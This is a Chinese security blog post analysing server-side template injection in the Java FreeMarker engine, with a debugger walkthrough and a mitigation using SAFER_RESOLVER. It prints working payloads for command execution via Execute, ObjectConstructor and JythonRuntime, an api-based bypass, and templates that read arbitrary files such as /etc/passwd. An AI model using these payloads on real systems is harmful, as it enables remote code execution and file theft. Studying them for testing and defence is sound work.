主頁 >  其他 > Java FreeMarker模板引擎注入深入分析

Java FreeMarker模板引擎注入深入分析

2022-11-23 07:15:09 其他

0x01 前言

最近和 F1or 大師傅一起挖洞的時候發現一處某 CMS SSTI 的 0day,之前自己在復現 jpress 的一些漏洞的時候也發現了 SSTI 這個洞殺傷力之大,今天來好好系統學習一手,

有三個最重要的模板,其實模板引擎本質上的原理差不多,因為在 SpringBoot 初學習的階段我就已經學習過 Thymeleaf 了,所以大體上老生常談的東西就不繼續講了,

三個模板的模板注入攻擊差距其實還是有點大的,而且 Java 的 SSTI 和 Python Flask 的一些 SSTI 差距有點大,我們今天主要來看看 FreeMarker 的 SSTI

0x02 FreeMarker SSTI

FreeMarker 官網:http://freemarker.foofun.cn/index.html

對應版本是 2.3.23,一會兒我們搭建環境的時候也用這個版本

FreeMarker 基礎語法

關于文本與注釋,本文不再強調,重點看插值與 FTL 指令,

插值

插值也叫 Interpolation,即 ${..} 或者 #{..} 格式的部分,將使用資料模型中的部分替代輸出

比如這一個 .ftl 檔案

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <title>Hello ${name}!</title>  
    <link href=https://www.cnblogs.com/hetianlab/p/"/css/main.css" rel="stylesheet">  
</head>  
<body>  
    <h2 class="hello-title">Hello ${name}!</h2>   
    <script src=https://www.cnblogs.com/hetianlab/p/"/js/main.js"></script>  
</body>  
</html>

那么 ${name} 的資料就會從傳參里面拿,對應的這個是在 addAttribute 中的 name 引數

FTL 指令

FTL 指令以 # 開頭,其他語法和 HTML 大致相同,

我這里其實也花了不少時間看了 FreeMarker 的基礎語法,但是并非很透徹,就不誤人子弟了,有興趣的師傅可以自己前往 FreeMarker 手冊查看,

https://freemarker.apache.org/

FreeMarker SSTI 成因與攻擊面

看了一些文章,有些地方有所疏漏,先說 SSTI 的攻擊面吧,我們都知道 SSTI 的攻擊面其實是模板引擎的渲染,所以我們要讓 Web 服務器將 HTML 陳述句渲染為模板引擎,前提是要先有 HTML 陳述句,那么 HTML 如何才能被弄上去呢?這就有關乎我們的攻擊面了,

將 HTML 陳述句放到服務器上有兩種方法:

1、檔案上傳 HTML 檔案,

2、若某 CMS 自帶有模板編輯功能,這種情況非常多,

因為之前有接觸過 Thymeleaf 的 SSTI,Thymeleaf 的 SSTI 非常鋒利, Thymeleaf SSTI 的攻擊往往都是通過傳參即可造成 RCE(當然這段話很可能是不嚴謹的

在剛接觸 FreeMarker 的 SSTI 的時候,我誤以為它和 Thyemelaf 一樣,直接通過傳參就可以打,后來發現我的想法是大錯特錯,

環境搭建

一些開發的基本功,因篇幅限制,我也不喜放這些代碼的書寫,貼個專案地址吧

https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview

漏洞復現

前文我有提到,FreeMarker 的 SSTI 必須得是獲取到 HTML,再把它轉換成模板,從而引發漏洞,所以這里要復現,只能把 HTML 陳述句插入到 .ftl 里面,太生硬了簡直,,,,,不過和 F1or 師傅一起挖出來的 0day 則是比較靈活,有興趣的師傅可以滴一下我

payload:

<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

構造出這個 PoC 的原因是 freemarker.template.utility.Execute 類里面存在如下圖所示的命令執行方法,都寫到臉上來了,

漏洞復現如圖

漏洞分析

我們要分析的是,MVC 的思維,以及如何走到這個危險類 ———— freemarker.template.utility.Execute 去的,

下一個斷點在 org.springframework.web.servlet.view.UrlBasedViewResolver#createView,開始除錯

跟進 super.createView()

進一步跟進 loadView() 以及 buildView(),這些方法的業務意義都比較好理解,先 create 一個 View 視圖,再將其 load 進來,最后再 build,

在 buildView() 方法當中,先通過 this.instantiateView() 的方式 new 了一個 FreeMarkerView 類,又進行了一些基礎賦值,將我們的 View Build 了出來(也就是 View 變得有模有樣了)

繼續往下走,回到 loadView() 方法,loadView() 方法呼叫了 view.checkResource() 方法

checkResource() 方法做了兩件事,第一件事是判斷 Resource 當中的 url 是否為空,也就是判斷是否存在 resource,如果 url 都沒東西,那么后續的模板引擎加載就更不用說了;第二件事是進行 template 的獲取,也可以把這理解為準備開始做模板引擎加載的業務了,

跟進 getTemplate() 方法

首先做了一些賦值判斷,再判斷 Template 的存在,我們跟進 this.cache.getTemplate

這里從 cache 里面取值,而在我們 putTemplate 設定模板的時候,也會將至存盤到 cache中,

跟進 getTemplateInternal()

先做了一些基本的判斷,到 202 行,跟進 lookupTemplate() 方法

這里代碼很冗雜,最后的結果是跟進 `freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy

代碼會先拼接 _zh_CN,再尋找未拼接 _zh_CN 的模板名,呼叫 this.findTemplateSource(path) 獲取模板實體,

這里就獲取到了 handle 執行回傳的模板視圖實體,這里我 IDEA 沒有走過去,就跟著奶思師傅的文章先分析了,

org.springframework.web.servlet.DispatcherServlet#doDispatch 流程

handle 執行完成后呼叫 this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException); 進行模板決議,

呼叫 view.render(mv.getModelInternal(), request, response); 一路跟進至 org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender

跟進 this.processTemplate()

跟進 process()

process() 方法是做了一個輸出(生成) HTML 檔案或其他檔案的作業,相當于渲染的最后一步了,

在 process() 方法中,會對 ftl 的檔案進行遍歷,讀取一些資訊,下面我們先說對于正常陳述句的處理,再說對于 ftl 運算式的處理,

在讀取到每一條 freeMarker 運算式陳述句的時候,會二次呼叫 visit() 方法,而 visit() 方法又呼叫了 element.accept(),跟進

跟進 calculateInterpolatedStringOrMarkup() 方法

calculateInterpolatedStringOrMarkup() 方法做的業務是將模型強制為字串或標記,跟進 eval() 方法

eval() 方法簡單判斷了 constantValue 是否為 null,這里 constantValue 為 null,跟進 this._eval(),一般的 _eval() 方法只是將 evn 獲取一下,但是對于 ftl 陳述句就不是這樣了,一般的 _eval() 方法如下

而對于 ftl 運算式來說,accept 方法是這樣的

跟進一下 accept() 方法

做了一系列基礎判斷,先判斷 namespaceExp 是否為 null,接著又判斷 this.operatorType 是否等于 65536,到第 105 行,跟進 eval() 方法,再跟進 _eval()

我們可以看到 targetMethod 目前就是我們在 ftl 陳述句當中構造的那個能夠進行命令執行的類,也就是說這一個陳述句相當于

Object result = targetMethod.exec(argumentStrings);
?
// 等價于
?
Object result = freemarker.template.utility.Execute.exec(argumentStrings);

而這一步并非直接進行命令執行,而是先把這個類通過 newInstance() 的方式進行初始化,

命令執行的引數,會被拿出來,在下一次的同樣流程中作為命令被執行,如圖

至此,分析結束,很有意思的一個流程分析,

FreeMarker SSTI 的攻防二象性

我們目前的 PoC 是這么打的

<#assign value=https://www.cnblogs.com/hetianlab/p/"freemarker.template.utility.Execute"?new()>${value("Calc")}

這是因為 FreeMarker 的內置函式 new 導致的,下面我們簡單介紹一下 FreeMarker的兩個內置函式—— new 和 api

內置函式 new

可創建任意實作了 TemplateModel 介面的 Java 物件,同時還可以觸發沒有實作 TemplateModel 介面的類的靜態初始化塊, 以下兩種常見的FreeMarker模版注入poc就是利用new函式,創建了繼承 TemplateModel 介面的 freemarker.template.utility.JythonRuntime 和freemarker.template.utility.Execute

API

value?api 提供對 value 的 API(通常是 Java API)的訪問,例如 value?api.someJavaMethod() 或 value?api.someBeanProperty,可通過 getClassLoader獲取類加載器從而加載惡意類,或者也可以通過 getResource來實作任意檔案讀取, 但是,當api_builtin_enabled為 true 時才可使用 api 函式,而該配置在 2.3.22 版本之后默認為 false,

由此我們可以構造出一系列的 bypass PoC

POC1

<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")> 
<#assign field=clazz?api.getField("GSON")> 
<#assign gson=field?api.get(null)> 
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> 
${ex("Calc"")}

POC2

<#assign value=https://www.cnblogs.com/hetianlab/p/"freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}

POC3

<#assign value=https://www.cnblogs.com/hetianlab/p/"freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")

POC4

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }

讀取檔案

<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

從 2.3.17版本以后,官方版本提供了三種TemplateClassResolver對類進行決議: 1、UNRESTRICTED_RESOLVER:可以通過 ClassUtil.forName(className) 獲取任何類,

2、SAFER_RESOLVER:不能加載 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor這三個類, 3、ALLOWS_NOTHING_RESOLVER:不能決議任何類, 可通過freemarker.core.Configurable#setNewBuiltinClassResolver方法設定TemplateClassResolver,從而限制通過new()函式對freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor這三個類的決議,

FreeMarker SSTI 修復

因為 FreeMarker 不能直接傳參打,所以此處的代碼參考奶思師傅,

package freemarker;
?
import freemarker.cache.StringTemplateLoader;
import freemarker.core.TemplateClassResolver;
import freemarker.template.Configuration;
import freemarker.template.Template;
?
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.StringWriter;
import java.util.HashMap;
?
public class freemarker_ssti {
    public static void main(String[] args) throws Exception {
?
        //設定模板
        HashMap<String, String> map = new HashMap<String, String>();
        String poc ="<#assign aaa=\"freemarker.template.utility.Execute\"?new()> ${ aaa(\"open -a Calculator.app\") }";
        System.out.println(poc);
        StringTemplateLoader stringLoader = new StringTemplateLoader();
        Configuration cfg = new Configuration();
        stringLoader.putTemplate("name",poc);
        cfg.setTemplateLoader(stringLoader);
        //cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
        //處理決議模板
        Template Template_name = cfg.getTemplate("name");
        StringWriter stringWriter = new StringWriter();
?
        Template_name.process(Template_name,stringWriter);
?
?
    }
}

防御成功

0x03 小結

比較其他兩個模板引擎來說,FreeMarker 的 SSTI 更為嚴格一些,它的防護也做的相當有力,這個給自己挖個小坑吧,后續去看一看 FreeMarker 的代碼當中是否存在強而有力的 bypass payload,

更多靶場實驗練習、網安學習資料,請點擊這里>>

 

合天智匯:合天網路靶場、網安實戰虛擬環境

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/538026.html

標籤:其他

上一篇:記錄一次現學現賣的提權

下一篇:初探Java安全之JavaAgent

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more